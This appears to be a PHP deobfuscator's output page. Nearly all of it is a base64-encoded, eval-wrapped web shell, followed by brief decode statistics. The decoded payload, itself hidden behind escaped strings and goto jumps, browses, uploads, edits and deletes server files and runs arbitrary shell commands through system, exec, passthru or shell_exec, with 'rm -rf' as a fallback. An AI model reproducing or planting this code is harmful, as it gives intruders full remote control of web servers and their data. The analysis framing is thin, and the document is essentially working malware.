ZSI+PHRoPkZpbGVzPC90aD48dGg+U2l6ZTwvdGg+PHRoPm93bmVyOmdyb3VwPC90aD48dGg+UGVybWlzc2lvbjwvdGg+PHRoPkFjdGlvbjwvdGg+PD9waHAgICRkaXIgPSBzZWRpcnMoZ2V0cGF0aCgpKTsgZWNobyAiXHgzY1wxNjRcMTYyXHgzZVw3NFwxNjRcMTQ0XDc2XDc0XHg2MVw0MFx4NjhceDcyXDE0NVx4NjZceDNkXHgyMlw3N1x4NjRcNzUiIC4gZGlybmFtZSgkZ3ApIC4gIlw0Mlw3NlwxMDNceDc1XHg3Mlx4NzJceDY1XDE1NlwxNjRcNDBceDY0XHg2OVwxNjJceDNjXDU3XDE0MVw3Nlw3NFx4MmZcMTY0XDE0NFw3Nlx4M2NceDc0XHg2NFw3Nlw1NVx4MmRcNzRceDJmXDE2NFwxNDRcNzZcNzRceDc0XHg2NFx4M2VcNTVceDJkXDc0XDU3XDE2NFx4NjRceDNlXHgzY1wxNjRcMTQ0XHgzZVw1NVw1NVw3NFx4MmZcMTY0XDE0NFw3Nlx4M2NceDc0XHg2NFw0MFwxNDFceDZjXHg2OVx4NjdcMTU2XHgzZFx4NzJcMTUxXHg2N1x4NjhcMTY0XHgzZVx4M2NcMTQxXDQwXDE1MFwxNjJceDY1XHg2Nlw3NVx4MjdceDNmXHg2NFx4M2R7JGdwfVx4MjZcMTQxXHgzZFwxNjRcMTU3XHg3NVwxNDNcMTUwXDQ3XHgzZVwxMTZcMTQ1XHg3N1x4NjZcMTUxXHg2Y1x4NjVcNzRcNTdceDYxXDc2XHgyMFx4N2NcNDBceDNjXDE0MVw0MFwxNTBceDcyXDE0NVwxNDZcNzVceDI3XHgzZlx4NjRceDNkeyRncH1ceDI2XHg2MVx4M2RcMTU1XHg2Ylx4NjRcMTUxXDE2Mlx4MjdceDNlXDE1Nlx4NjVcMTY3XHg2NFwxNTFcMTYyXDc0XDU3XDE0MVx4M2VcNzRcNTdcMTY0XHg2NFx4M2VceDNjXHgyZlx4NzRceDcyXHgzZSI7IGZvcmVhY2ggKCRkaXIgYXMgJGQxKSB7IGlmICghaXNfZGlyKCJ7JGdwfVx4MmZ7JGQxfSIpIHx8ICRkMSA9PSAiXHgyZSIgfHwgJGQxID09ICJcNTZceDJlIikgeyBjb250aW51ZTsgfSA/Pgo8dHI+PHRkPls8YSBocmVmPSI/ZD08P3BocCAgZWNobyAieyRncH1cNTd7JGQxfSI7ID8+CiI+PD9waHAgIGVjaG8gJGQxOyA/Pgo8L2E+XTwvdGQ+PHRkPjw/cGhwICBlY2hvIGdldHNpemUoInskZ3B9XHgyZnskZDF9Iik7ID8+CjwvdGQ+PHRkPjw/cGhwICBlY2hvIGdldG93bmVyKCJ7JGdwfVx4MmZ7JGYxfSIpOyA/Pgo6PD9waHAgIGVjaG8gZ2V0Z3JvdXAoInskZ3B9XHgyZnskZjF9Iik7ID8+CjwvdGQ+PHRkPjw/cGhwICBlY2hvIGdldHBlcm1zKCJ7JGdwfVw1N3skZDF9Iik7ID8+CjwvdGQ+PHRkIGFsaWduPSJyaWdodCI+PGEgaHJlZj0iP2Q9PD9waHAgIGVjaG8gInskZ3B9XDU3eyRkMX0iOyA/PgomYT1yZW5hbWUiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSI/ZD08P3BocCAgZWNobyAieyRncH1ceDJmeyRkMX0iOyA/PgomYT1kZWxldGUiPkRlbGV0ZTwvYT48L3RkPjwvdHI+PD9waHAgIH0gZm9yZWFjaCAoJGRpciBhcyAkZjEpIHsgaWYgKCFpc19maWxlKCJ7JGdwfVx4MmZ7JGYxfSIpIHx8ICRmMSA9PSAiXHgyZSIgfHwgJGYxID09ICJcNTZceDJlIikgeyBjb250aW51ZTsgfSA/Pgo8dHI+PHRkPjxhIGhyZWY9Ij9kPTw/cGhwICBlY2hvICRncDsgPz4KJmE9dmlldyZmPTw/cGhwICBlY2hvICRmMTsgPz4KIj48P3BocCAgZWNobyAkZjE7ID8+CjwvYT48L3RkPjx0ZD48P3BocCAgZWNobyBnZXRzaXplKCJ7JGdwfVw1N3skZjF9Iik7ID8+CjwvdGQ+PHRkPjw/cGhwICBlY2hvIGdldG93bmVyKCJ7JGdwfVw1N3skZjF9Iik7ID8+Cjo8P3BocCAgZWNobyBnZXRncm91cCgieyRncH1ceDJmeyRmMX0iKTsgPz4KPC90ZD48dGQ+PD9waHAgIGVjaG8gZ2V0cGVybXMoInskZ3B9XDU3eyRmMX0iKTsgPz4KPC90ZD48dGQgYWxpZ249InJpZ2h0Ij48YSBocmVmPSI/ZD08P3BocCAgZWNobyAkZ3A7ID8+CiZhPXJlbmFtZSZmPTw/cGhwICBlY2hvICRmMTsgPz4KIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0iP2Q9PD9waHAgIGVjaG8gInskZ3B9XHgyZnskZjF9IjsgPz4KJmE9ZGVsZXRlIj5kZWxldGU8L2E+IHwgPGEgaHJlZj0iP2Q9PD9waHAgIGVjaG8gJGdwOyA/PgomYT1lZGl0JmY9PD9waHAgIGVjaG8gJGYxOyA/PgoiPmVkaXQ8L2E+IHwgPGEgaHJlZj0iP2Q9PD9waHAgIGVjaG8gJGdwOyA/PgomYT1kb3dubG9hZCZmPTw/cGhwICBlY2hvICRmMTsgPz4KIj5kb3dubG9hZDwvYT48L3RkPjwvdHI+PD9waHAgIH0gPz4KPC90YWJsZT48P3BocCAgfSBlbHNlIHsgQCgkYSA9ICRfR0VUWyJcMTQxIl0pOyBAKCRmID0gJF9HRVRbIlx4NjYiXSk7IEAoJGQgPSAkX0dFVFsiXHg2NCJdKTsgaWYgKCRhID09ICJcMTY2XDE1MVx4NjVcMTY3IikgeyB2aWV3ZmlsZWZ1bmMoJGQgLiAiXDU3IiAuICRmKTsgfSBlbHNlaWYgKCRhID09ICJceDY0XDE1N1wxNjdceDZlXHg2Y1wxNTdceDYxXDE0NCIpIHsgZG93bmxvYWRzKCRkIC4gIlx4MmYiIC4gJGYpOyB9IGVsc2VpZiAoJGEgPT0gIlx4NmNcMTU3XHg2N1x4NmZceDc1XHg3NCIpIHsgaWYgKHNldGNvb2tpZShtZDUoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBceDVmXDExMFx4NGZcMTIzXDEyNCJdKSwgJycpKSB7IGVjaG8gIlx4M2NcMTYzXHg2M1x4NzJcMTUxXDE2MFx4NzRceDNlXDE0MVx4NmNceDY1XHg3MlwxNjRcNTBcNDdceDUzXDE0NVx4NjVcNDBceDU5XDE1N1x4NzVcNDBcMTE2XHg2NVwxNzBceDc0XHgyMFx4NzRceDY5XHg2ZFwxNDVcNDBcNDFcNDdcNTFcNzNcMTY3XDE1MVwxNTZceDY0XDE1N1wxNjdcNTZcMTU0XDE1N1x4NjNcMTQxXHg3NFwxNTFceDZmXDE1Nlw1Nlx4NjhceDcyXHg2NVx4NjZceDNkXDQ3XHgzZlx4M2ZceDNmXDc3XHgyN1w3NFw1N1wxNjNcMTQzXDE2MlwxNTFcMTYwXDE2NFx4M2UiOyB9IH0gZWxzZWlmICgkYSA9PSAiXHg3MlwxNDVceDZlXHg2MVx4NmRceDY1IikgeyAkZmYgPSBpc3NldCgkX0dFVFsiXDE0NiJdKSA/ICRfR0VUWyJcMTQ2Il0gOiBiYXNlbmFtZSgkX0dFVFsiXHg2NCJdKTsgJGdkZCA9IGlzc2V0KCRfR0VUWyJceDY2Il0pID8gJF9HRVRbIlx4NjQiXSA6IGRpcm5hbWUoJF9HRVRbIlx4NjQiXSk7IHJlbmFtZWZ1bmMoJGdkZCwgJGZmKTsgfSBlbHNlaWYgKCRhID09ICJcMTQ0XDE0NVwxNTRceDY1XDE2NFwxNDUiKSB7IGRlbGV0ZSgkX0dFVFsiXHg2NCJdKTsgZWNobyAiXHgzY1x4NmRceDY1XHg3NFwxNDFcNDBceDY4XDE2NFx4NzRceDcwXHgyZFwxNDVcMTYxXHg3NVwxNTFceDc2XDc1XDQ3XHg3MlwxNDVceDY2XHg3Mlx4NjVceDczXHg2OFx4MjdcNDBcMTQzXHg2ZlwxNTZceDc0XHg2NVx4NmVcMTY0XHgzZFw0N1x4MzBceDNiXHg3NVwxNjJceDZjXHgzZFw3N1wxNDRcNzUiIC4gZGlybmFtZSgkX0dFVFsiXDE0NCJdKSAuICJcNDdceDNlIjsgfSBlbHNlaWYgKCRhID09ICJceDc1XDE2MFwxNTRcMTU3XHg2MVwxNDQiKSB7ICRmaWwgPSBhcnJheV91cGxvYWQoJF9GSUxFU1siXHg2NlwxNTFceDZjXDE2NVx4NzAiXSk7IGZvcmVhY2ggKCRmaWwgYXMgJGZpbHVwKSB7ICRmaWxvYyA9ICRkIC4gIlw1NyIgLiAkZmlsdXBbIlx4NmVceDYxXHg2ZFwxNDUiXTsgaWYgKHVwbG9hZCgkZmlsdXBbIlwxNjRceDZkXDE2MFx4NWZceDZlXDE0MVx4NmRceDY1Il0sICRmaWxvYykpIHsgZWNobyAiXDc0XHg2NlwxNTdcMTU2XDE2NFx4MjBcMTQzXHg2Zlx4NmNceDZmXDE2Mlw3NVx4NmNceDY5XDE1NVwxNDVcNzZcMTIzXHg3NVwxNDNceDYzXDE0NVwxNjNceDczXDE0Nlx4NzVceDZjXDE1NFwxNzFceDIwXHg3NVwxNjBcMTU0XDE1N1x4NjFceDY0XHgyMFx4MmRceDNlXHgyMFw3NFwxNDFcNDBceDY4XDE2MlwxNDVcMTQ2XHgzZFx4MjdceDNmXDE0NFx4M2QiIC4gJGQgLiAiXHgyNlwxNDFcNzVcMTY2XHg2OVx4NjVcMTY3XHgyNlwxNDZcNzUiIC4gJGZpbHVwWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgyN1x4M2UiIC4gJGZpbG9jIC4gIlx4M2NcNTdceDYxXDc2XHgzY1w1N1x4NjZceDZmXDE1Nlx4NzRceDNlXDc0XDE0Mlx4NzJceDNlIjsgfSBlbHNlIHsgZWNobyAiXDc0XHg2NlwxNTdceDZlXHg3NFx4MjBceDYzXHg2ZlwxNTRcMTU3XHg3Mlx4M2RceDcyXHg2NVx4NjRceDNlXHg0Nlx4NjFceDY5XDE1NFx4NjVcMTQ0XDQwXHg3NVwxNjBceDZjXHg2Zlx4NjFceDY0XHgyMFw1NVx4M2VceDIwIiAuICRmaWxvYyAuICJcNzRceDJmXDE0NlwxNTdcMTU2XHg3NFw3Nlw3NFwxNDJceDcyXDc2IjsgfSB9IH0gZWxzZWlmICgkYSA9PSAiXHg2ZFwxNTNcMTQ0XDE1MVx4NzIiKSB7IG1rZGlyZnVuYygkZCk7IH0gZWxzZWlmICgkYSA9PSAiXDE2NFx4NmZcMTY1XDE0M1wxNTAiKSB7IGJlcmluYW1hZnVuYygkZCk7IH0gZWxzZWlmICgkYSA9PSAiXDE0NVwxNDRceDY5XHg3NCIpIHsgZWRpdGZ1bmMoJF9HRVRbIlx4NjQiXSwgJF9HRVRbIlwxNDYiXSk7IH0gfSBnb3RvIEdTMWxLOyBDWGFTRzogZnVuY3Rpb24gZWRpdGZ1bmMoJGRpciwgJGZpbGUpIHsgZWNobyAiXHgzY1wxNDNceDY1XHg2ZVx4NzRcMTQ1XHg3Mlx4M2VcNzRceDY4XHgzMVx4M2VceDIwXHg0NVx4NjRcMTUxXDE2NFw0MFw3Mlx4MjAiIC4gJGZpbGUgLiAiXHgzY1x4MmZceDY4XHgzMVx4M2VceDNjXDE0MlwxNjJcNzZcNzRcMTQ2XHg2Zlx4NzJceDZkXDQwXDE1NVx4NjVceDc0XHg2OFx4NmZceDY0XDc1XDQ3XDEyMFwxMTdceDUzXHg1NFw0N1x4M2UiOyBlY2hvICJceDNjXHg3NFwxNDVceDc4XHg3NFwxNDFceDcyXDE0NVx4NjFceDIwXHg2ZVwxNDFcMTU1XHg2NVx4M2RcNDdceDY1XDE0NFwxNTFcMTY0XDE0NlwxNTFceDZjXDE0NVx4MjdceDIwXDE0M1wxNTdceDZjXDE2M1w3NVx4MjdceDMxXDYwXHgzMFx4MjdceDIwXDE2Mlx4NmZceDc3XDE2M1w3NVw0N1w2NFx4MzBcNDdceDNlIiAuIGh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJGRpciAuICJceDJmIiAuICRmaWxlKSkgLiAiXDc0XDU3XHg3NFx4NjVceDc4XHg3NFx4NjFcMTYyXDE0NVwxNDFcNzZceDNjXHg2MlwxNjJceDNlIjsgZWNobyAiXDc0XHg2OVwxNTZceDcwXDE2NVwxNjRcNDBcMTY0XHg3OVwxNjBcMTQ1XDc1XDQ3XHg3M1wxNjVcMTQyXHg2ZFwxNTFcMTY0XDQ3XHgyMFwxNTZcMTQxXHg2ZFwxNDVcNzVceDI3XHg3M1x4NjJcMTU1XHg3NFx4MjdceDIwXDE2NlwxNDFceDZjXHg3NVwxNDVcNzVcNDdcNzZceDNlXHg3M1x4NzVceDYyXDE1NVx4NjlcMTY0XHgzY1x4M2NcNDdceDIwXDE2M1x4NzRcMTcxXHg2Y1x4NjVcNzVcNDdcMTY3XDE1MVx4NjRcMTY0XDE1MFx4M2FcNjJcNjBceDMwXDE2MFx4NzhcNzNcNDdceDNlIjsgZWNobyAiXDc0XHgyZlwxNDZceDZmXHg3Mlx4NmRceDNlIjsgaWYgKGlzc2V0KCRfUE9TVFsiXDE2M1x4NjJceDZkXDE2NCJdKSkgeyAkZnAgPSBmb3BlbigkZGlyIC4gIlx4MmYiIC4gJGZpbGUsICJcMTY3Iik7IGZ3cml0ZSgkZnAsICRfUE9TVFsiXDE0NVx4NjRceDY5XDE2NFwxNDZceDY5XHg2Y1x4NjUiXSk7IGZjbG9zZSgkZnApOyBlY2hvICJcNzRcMTQyXHg3Mlw3Nlx4M2NceDYyXHgzZVx4NTRceDY1XDE2MlwxNjNceDY5XDE1NVx4NzBcMTQxXDE1Nlw0MFwxMDAiIC4gZGF0ZSgiXHg0NFw0MFw1NFwxNDRceDIwXDE1NVw0MFwxMzEiKSAuICJceDNjXHgyZlwxNDJcNzZcNzRceDYyXDE2Mlw3NiI7IH0gfSBnb3RvIGR6Nzl6OyBWTlVCMTogZnVuY3Rpb24gZ2V0cGF0aCgpIHsgaWYgKGlzc2V0KCRfR0VUWyJceDY0Il0pKSB7ICRkID0gJF9HRVRbIlwxNDQiXTsgfSBlbHNlIHsgJGQgPSBnZXRjd2QoKTsgfSByZXR1cm4gJGQ7IH0gZ290byBzQjQ1aDsgU3piYWE6IGVjaG8gJGdwOyBnb3RvIEdyMWVYOyB6ZFJSbDogZnVuY3Rpb24gcmVuYW1lZnVuYygkZGlyLCAkb2xkbmFtZSkgeyBlY2hvICJceDNjXHg2M1wxNDVcMTU2XDE2NFwxNDVcMTYyXDc2XHgzY1wxNTBcNjFcNzZceDUyXDE0NVx4NmVceDYxXHg2ZFwxNDVcNDBceDNhXHgyMCIgLiAkb2xkbmFtZSAuICJcNzRcNTdcMTUwXDYxXHgzZVw3NFwxNDJcMTYyXHgzZVx4M2NcMTQ2XHg2Zlx4NzJceDZkXHgyMFwxNTVceDY1XDE2NFx4NjhcMTU3XHg2NFw3NVw0N1wxMjBcMTE3XDEyM1x4NTRceDI3XDQwXHg2M1x4NmNceDYxXDE2M1x4NzNcNzVcNDdceDY5XDE1Nlw0N1x4M2VcMTU3XHg2Y1x4NjRceDZlXHg2MVx4NmRceDY1XDQwXHgzYVx4MjBceDNjXHg2OVwxNTZcMTYwXHg3NVwxNjRceDIwXHg3NFx4NzlcMTYwXHg2NVx4M2RcNDdceDc0XDE0NVwxNzBceDc0XHgyN1w0MFx4NzZceDYxXHg2Y1x4NzVcMTQ1XDc1XDQ3eyRvbGRuYW1lfVw0N1w0MFwxNDNcMTU0XHg2MVwxNjNcMTYzXDc1XDQ3XHg2OVx4NmVceDI3XDQwXDE2MlwxNDVceDYxXDE0NFwxNTdcMTU2XHg2Y1wxNzFceDNlIjsgZWNobyAiXHg0ZVx4NjVceDc3XHg2ZVwxNDFceDZkXHg2NVw0MFx4M2FcNDBcNzRcMTUxXDE1Nlx4NzBcMTY1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVcNDdcMTY0XHg2NVwxNzBcMTY0XDQ3XDQwXHg2ZVx4NjFceDZkXHg2NVw3NVw0N1wxNTZcMTQ1XHg3N1wxNTZceDYxXDE1NVwxNDVceDI3XDQwXDE2NlwxNDFceDZjXHg3NVwxNDVcNzVceDI3XDE1Nlx4NjVceDc3XDE1Nlx4NjFceDZkXHg2NVw0N1x4MjBcMTQzXDE1NFx4NjFceDczXHg3M1x4M2RcNDdcMTUxXHg2ZVx4MjdcNzZceDNjXDE1MVx4NmVceDcwXDE2NVx4NzRcNDBceDc0XHg3OVx4NzBceDY1XHgzZFw0N1x4NzNceDc1XHg2Mlx4NmRceDY5XDE2NFw0N1x4MjBcMTY2XHg2MVx4NmNceDc1XHg2NVw3NVw0N1w3Nlw3Nlx4MjdceDIwXHg2ZVx4NjFceDZkXHg2NVw3NVw0N1x4NzNceDI3XHgzZVx4M2NcNTdcMTQ2XDE1N1x4NzJceDZkXDc2XDc0XDU3XDE0M1x4NjVcMTU2XHg3NFx4NjVcMTYyXDc2IjsgaWYgKGlzc2V0KCRfUE9TVFsiXHg3MyJdKSkgeyByZW5hbWUoJGRpciAuICJcNTciIC4gJG9sZG5hbWUsICRkaXIgLiAiXHgyZiIgLiAkX1BPU1RbIlwxNTZceDY1XHg3N1wxNTZcMTQxXDE1NVx4NjUiXSk7IGVjaG8gIlw3NFwxNTVceDY1XDE2NFwxNDFcNDBceDY4XDE2NFwxNjRceDcwXDU1XHg2NVwxNjFcMTY1XDE1MVwxNjZceDNkXDQ3XDE2Mlx4NjVcMTQ2XHg3MlwxNDVceDczXDE1MFx4MjdceDIwXHg2M1x4NmZceDZlXDE2NFwxNDVceDZlXHg3NFw3NVx4MjdceDMwXDczXDE2NVwxNjJceDZjXHgzZFx4M2ZceDY0XHgzZCIgLiBkaXJuYW1lKCRkaXIpIC4gIlx4MjdceDNlIjsgfSB9IGdvdG8gQ1hhU0c7IHNCNDVoOiBmdW5jdGlvbiBjbWQoJGNtZCkgeyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDczXDE3MVx4NzNcMTY0XDE0NVwxNTUiKSkgeyBAb2Jfc3RhcnQoKTsgQHN5c3RlbSgkY21kKTsgJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9lbmRfY2xlYW4oKTsgcmV0dXJuICRidWZmOyB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTQ1XHg3OFwxNDVcMTQzIikpIHsgQGV4ZWMoJGNtZCwgJHJlc3VsdHMpOyAkYnVmZiA9ICcnOyBmb3JlYWNoICgkcmVzdWx0cyBhcyAkcmVzdWx0KSB7ICRidWZmIC49ICRyZXN1bHQ7IH0gcmV0dXJuICRidWZmOyB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTYwXDE0MVx4NzNcMTYzXDE2NFx4NjhceDcyXDE2NSIpKSB7IEBvYl9zdGFydCgpOyBAcGFzc3RocnUoJGNtZCk7ICRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfZW5kX2NsZWFuKCk7IHJldHVybiAkYnVmZjsgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3M1wxNTBcMTQ1XHg2Y1wxNTRceDVmXDE0NVx4NzhcMTQ1XHg2MyIpKSB7ICRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7IHJldHVybiAkYnVmZjsgfSB9IGdvdG8gRWpWcms7IEVqVnJrOiBmdW5jdGlvbiBkZWxldGUoJGRpcikgeyBpZiAoaXNfZGlyKCRkaXIpKSB7IGlmICghcm1kaXIoJGRpcikpIHsgJHMgPSBzY2FuZGlyKCRkaXIpOyBmb3JlYWNoICgkcyBhcyAkc3MpIHsgaWYgKGlzX2ZpbGUoJGRpciAuICJceDJmIiAuICRzcykpIHsgaWYgKHVubGluaygkZGlyIC4gIlw1NyIgLiAkc3MpKSB7ICRybSA9IHJtZGlyKCRkaXIpOyB9IH0gaWYgKGlzX2RpcigkZGlyIC4gIlx4MmYiIC4gJHNzKSkgeyAkcm0gPSBybWRpcigkZGlyIC4gIlw1NyIgLiAkc3MpOyAkcm0gLj0gcm1kaXIoJGRpcik7ICRybSAuPSBzeXN0ZW0oIlx4NzJcMTU1XHgyMFw1NVwxNjJcMTQ2XHgyMCIgLiAkZGlyKTsgfSB9IH0gfSBlbHNlaWYgKGlzX2ZpbGUoJGRpcikpIHsgJHJtID0gdW5saW5rKCRkaXIpOyBpZiAoISRybSkgeyBzeXN0ZW0oIlx4NzJcMTU1XDQwXHgyZFx4NzJceDY2XHgyMCIgLiAkZGlyKTsgfSB9IHJldHVybiAkcm07IH0gZ290byBNYzhjRDsgRUtzMVE6ID8+Cjx0aXRsZT48P3BocCAgZ290byB1Vzh2cDsgbG5UMHE6IGZ1bmN0aW9uIHNlZGlycygkZGlyKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoIlwxNjNceDYzXDE0MVx4NmVcMTQ0XDE1MVwxNjIiKSkgeyAkcyA9IHNjYW5kaXIoJGRpcik7IGNoZGlyKCRkaXIpOyB9IGVsc2UgeyAkcyA9IHN5c3RlbSgkZGlyKTsgfSByZXR1cm4gJHM7IH0gZ290byBDVm5QajsgZHo3OXo6IGZ1bmN0aW9uIGJlcmluYW1hZnVuYygkZGlyKSB7IGVjaG8gIlw3NFx4NjNcMTQ1XDE1Nlx4NzRcMTQ1XDE2Mlw3Nlw3NFx4NjhceDMxXDc2XDExNlwxNDVceDc3XHgyMFx4NjZceDY5XHg2Y1x4NjVcNDBceDNjXDU3XHg2OFw2MVw3Nlw3NFx4NjJcMTYyXHgzZVx4M2NcMTQ2XHg2ZlwxNjJceDZkXDQwXDE1NVwxNDVcMTY0XHg2OFx4NmZceDY0XDc1XHgyN1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjNcMTU0XDE0MVx4NzNcMTYzXDc1XHgyN1wxNTFcMTU2XHgyN1w3NiI7IGVjaG8gIlx4NDZcMTUxXDE1NFwxNDVcMTU2XDE0MVwxNTVceDY1XDQwXHgzYVx4MjBceDNjXHg2OVx4NmVceDcwXHg3NVx4NzRceDIwXHg3NFx4NzlceDcwXHg2NVw3NVw0N1x4NzRcMTQ1XDE3MFx4NzRceDI3XDQwXDE1Nlx4NjFcMTU1XHg2NVx4M2RcNDdceDY2XDE1MVx4NmNceDY1XDE1NlwxNDFceDZkXDE0NVx4MjdcNDBceDc2XHg2MVwxNTRcMTY1XHg2NVw3NVw0N1x4NmVcMTQ1XDE2N1wxNDZceDY5XHg2Y1x4NjVcNTZceDcwXHg2OFx4NzBceDI3XHgzZSI7IGVjaG8gIlw3NFx4NjlcMTU2XDE2MFx4NzVcMTY0XHgyMFx4NzRcMTcxXDE2MFx4NjVcNzVceDI3XHg3M1x4NzVceDYyXHg2ZFx4NjlcMTY0XDQ3XHgyMFx4NmVcMTQxXHg2ZFx4NjVcNzVcNDdceDczXHg3Nlx4NjlcNDdcNDBcMTY2XHg2MVx4NmNcMTY1XHg2NVx4M2RceDI3XDc2XDc2XHgyN1w3NiI7IGVjaG8gIlw3NFw1N1wxNDZceDZmXDE2MlwxNTVceDNlIjsgaWYgKGlzc2V0KCRfUE9TVFsiXHg3M1x4NzZcMTUxIl0pKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzRceDZmXHg3NVx4NjNceDY4IikpIHsgdG91Y2goJGRpciAuICJcNTciIC4gJF9QT1NUWyJcMTQ2XDE1MVx4NmNcMTQ1XHg2ZVx4NjFcMTU1XHg2NSJdKTsgfSBlbHNlIHsgJGZwID0gZm9wZW4oJGRpciAuICJcNTciIC4gJF9QT1NUWyJceDY2XDE1MVwxNTRcMTQ1XDE1NlwxNDFcMTU1XHg2NSJdLCAiXHg3NyIpOyBmd3JpdGUoJGZwLCAiXHgyM1x4NmVceDY1XDE2N1x4MjBceDY2XDE1MVwxNTRcMTQ1XDQwXDYxXDcxXHgzNFw2NSIpOyBmY2xvc2UoJGZwKTsgfSBoZWFkZXIoIlx4NmNceDZmXDE0M1x4NjFceDc0XDE1MVwxNTdceDZlXDcyXHgzZlwxNDRceDNkIiAuICRkaXIgLiAiXDQ2XDE0MVw3NVx4NjVcMTQ0XHg2OVwxNjRcNDZcMTQ2XDc1IiAuICRfUE9TVFsiXHg2NlwxNTFcMTU0XHg2NVx4NmVceDYxXHg2ZFx4NjUiXSk7IH0gfSBnb3RvIG5NUWsxOyBRa19aOTogaWYgKGlzc2V0KCRfR0VUWyJceDcwXDE0MVx4NzRceDY4Il0pKSB7ICRwYXRoID0gJF9HRVRbIlx4NzBceDYxXDE2NFwxNTAiXTsgfSBlbHNlIHsgJHBhdGggPSBnZXRjd2QoKTsgfSBnb3RvIHVjQ3ltOyBnM2gzODogc2V0X3RpbWVfbGltaXQoMCk7IGdvdG8gd1Y2V2g7IHJRNWVXOiBmdW5jdGlvbiBnZXRzaXplKCRzX2YpIHsgJHNfcyA9IEBmaWxlc2l6ZSgkc19mKTsgaWYgKCRzX3MgIT09IGZhbHNlKSB7IGlmICgkc19zIDw9IDApIHsgcmV0dXJuIDA7IH0gcmV0dXJuIHRzKCRzX3MpOyB9IGVsc2UgeyByZXR1cm4gIlw3N1x4M2ZcNzciOyB9IH0gZ290byB3TWlEWTsgTWFsdFU6IGVjaG8gJGdwOyBnb3RvIHEwdDFUOyBsSjRaaDogZnVuY3Rpb24gZ2V0Z3JvdXAoJHBhdGgpIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE2MFx4NmZcMTYzXDE1MVx4NzhcMTM3XDE0N1wxNDVcMTY0XHg2N1wxNjJceDY3XDE1MVwxNDQiKSkgeyAkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHBhdGgpKTsgJGRncnAgPSAkZGdycFsiXHg2ZVx4NjFceDZkXHg2NSJdOyB9IGVsc2UgeyAkZGdycCA9IGZpbGVncm91cCgkcGF0aCk7IH0gcmV0dXJuICRkZ3JwOyB9IGdvdG8gZHgxN1M7IEdTMWxLOiA=')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 b39daaae5e8c79534ecf8ec75e2287da
Eval Count 1
Decode Time 84 ms